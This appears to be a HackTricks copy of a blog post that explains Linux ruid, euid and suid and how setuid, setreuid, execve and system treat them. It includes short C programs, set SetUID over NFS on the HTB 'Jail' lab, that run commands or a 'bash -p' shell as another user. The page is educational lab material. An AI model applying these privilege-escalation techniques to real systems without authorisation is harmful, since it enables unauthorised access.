14 KiB
euid, ruid, suid
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
This post was copied from https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail
*uid
ruid
: This is the real user ID of the user that started the process.euid
: This is the effective user ID, is what the system looks to when deciding what privileges the process should have. In most cases, theeuid
will be the same as theruid
, but a SetUID binary is an example of a case where they differ. When a SetUID binary starts, theeuid
is set to the owner of the file, which allows these binaries to function.suid
: This is the saved user ID, it's used when a privileged process (most cases running as root) needs to drop privileges to do some behavior, but needs to then come back to the privileged state.
{% hint style="info" %}
If a non-root process wants to change it’s euid
, it can only set it to the current values of ruid
, euid
, or suid
.
{% endhint %}
set*uid
On first look, it’s easy to think that the system calls setuid
would set the ruid
. In fact, when for a privileged process, it does. But in the general case, it actually sets the euid
. From the man page:
setuid() sets the effective user ID of the calling process. If the calling process is privileged (more precisely: if the process has the CAP_SETUID capability in its user namespace), the real UID and saved set-user-ID are also set.
So in the case where you’re running setuid(0)
as root, this is sets all the ids to root, and basically locks them in (because suid
is 0, it loses the knowledge or any previous user - of course, root processes can change to any user they want).
Two less common syscalls, setreuid
(re
for real and effective) and setresuid
(res
includes saved) set the specific ids. Being in an unprivileged process limits these calls (from man page for setresuid
, though the page for setreuid
has similar language):
An unprivileged process may change its real UID, effective UID, and saved set-user-ID, each to one of: the current real UID, the current effective UID, or the current saved set-user-ID.
A privileged process (on Linux, one having the CAP_SETUID capability) may set its real UID, effective UID, and saved set-user-ID to arbitrary values.
It’s important to remember that these aren’t here as a security feature, but rather reflect the intended workflow. When a program wants to change to another user, it changes the effective userid so it can act as that user.
As an attacker, it’s easy to get in a bad habit of just calling setuid
because the most common case is to go to root, and in that case, setuid
is effectively the same as setresuid
.
Execution
execve (and other execs)
The execve
system call executes a program specified in the first argument. The second and third arguments are arrays, the arguments (argv
) and the environment (envp
). There are several other system calls that are based on execve
, referred to as exec
(man page). They are each just wrappers on top of execve
to provide different shorthands for calling execve
.
There’s a ton of detail on the man page, for how it works. In short, when execve
starts a program, it uses the same memory space as the calling program, replacing that program, and newly initiating the stack, heap, and data segments. It wipes out the code for the program and writes the new program into that space.
So what happens to ruid
, euid
, and suid
on a call to execve
? It does not change the metadata associated with the process. The man page explicitly states:
The process’s real UID and real GID, as well as its supplementary group IDs, are unchanged by a call to execve().
There’s a bit more nuance to the euid
, with a longer paragraph describing what happens. Still, it’s focused on if the new program has the SetUID bit set. Assuming that isn’t the case, then the euid
is also unchanged by execve
.
The suid
is copied from the euid
when execve
is called:
The effective user ID of the process is copied to the saved set-user-ID; similarly, the effective group ID is copied to the saved set-group-ID. This copying takes place after any effective ID changes that occur because of the set-user-ID and set-group-ID mode bits.
system
system
is a completely different approach to starting a new process. Where execve
operates at the process level within the same process, system
uses fork
to create a child process and then executes in that child process using execl
:
execl("/bin/sh", "sh", "-c", command, (char *) NULL);
execl
is just a wrapper around execve
which converts string arguments into the argv
array and calls execve
. It’s important to note that system
uses sh
to call the command.
sh and bash SUID
bash
has a -p
option, which the man page describes as:
Turn on privileged mode. In this mode, the $ENV and $BASH_ENV files are not processed, shell functions are not inherited from the environment, and the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored. If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, these actions are taken and the effective user id is set to the real user id. If the -p option is supplied at startup, the effective user id is not reset. Turning this option off causes the effective user and group ids to be set to the real user and group ids.
In short, without -p
, euid
is set to ruid
when Bash is run. -p
prevents this.
The sh
shell doesn’t have a feature like this. The man page doesn’t mention “user ID”, other than with the -i
option, which says:
-i Specify that the shell is interactive; see below. An implementation may treat specifying the -i option as an error if the real user ID of the calling process does not equal the effective user ID or if the real group ID does not equal the effective group ID.
Testing
setuid / system
With all of that background, I’ll take this code and walk through what happens on Jail (HTB):
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(1000);
system("id");
return 0;
}
This program is compiled and set as SetUID on Jail over NFS:
oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
...[snip]...
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
As root, I can see this file:
[root@localhost nfsshare]# ls -l a
-rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a
When I run this as nobody, id
runs as nobody:
bash-4.2$ $ ./a
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
The program starts with a ruid
of 99 (nobody) and an euid
of 1000 (frank). When it reaches the setuid
call, those same values are set.
Then system
is called, and I would expect to see uid
of 99, but also an euid
of 1000. Why isn’t there one? The issue is that sh
is symlinked to bash
in this distribution:
$ ls -l /bin/sh
lrwxrwxrwx. 1 root root 4 Jun 25 2017 /bin/sh -> bash
So system
calls /bin/sh sh -c id
, which is effectively /bin/bash bash -c id
. When bash
is called, with no -p
, then it sees ruid
of 99 and euid
of 1000, and sets euid
to 99.
setreuid / system
To test that theory, I’ll try replacing setuid
with setreuid
:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setreuid(1000, 1000);
system("id");
return 0;
}
Compile and permissions:
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
Now on Jail, now id
returns uid of 1000:
bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
The setreuid
call set both ruid
and euid
to 1000, so when system
called bash
, they matched, and things continued as frank.
setuid / execve
Calling execve
If my understanding above is correct, I could also not worry about messing with the uids, and instead call execve
, as that will carry though the existing IDs. That will work, but there are traps. For example, common code might look like this:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(1000);
execve("/usr/bin/id", NULL, NULL);
return 0;
}
Without the environment (I’m passing NULL for simplicity), I’ll need a full path on id
. This works, returning what I expect:
bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
The [r]uid
is 99, but the euid
is 1000.
If I try to get a shell from this, I have to be careful. For example, just calling bash
:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(1000);
execve("/bin/bash", NULL, NULL);
return 0;
}
I’ll compile that and set it SetUID:
oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d
oxdf@hacky$ chmod 4755 /mnt/nfsshare/d
Still, this will return all nobody:
bash-4.2$ $ ./d
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
If it were setuid(0)
, then it would work fine (assuming the process had permission to do that), as then it changes all three ids to 0. But as a non-root user, this just sets the euid
to 1000 (which is already was), and then calls sh
. But sh
is bash
on Jail. And when bash
starts with ruid
of 99 and euid
of 1000, it will drop the euid
back to 99.
To fix this, I’ll call bash -p
:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
setuid(1000);
execve(paramList[0], paramList, NULL);
return 0;
}
This time the euid
is there:
bash-4.2$ $ ./e
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
Or I could call setreuid
or setresuid
instead of setuid
.
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.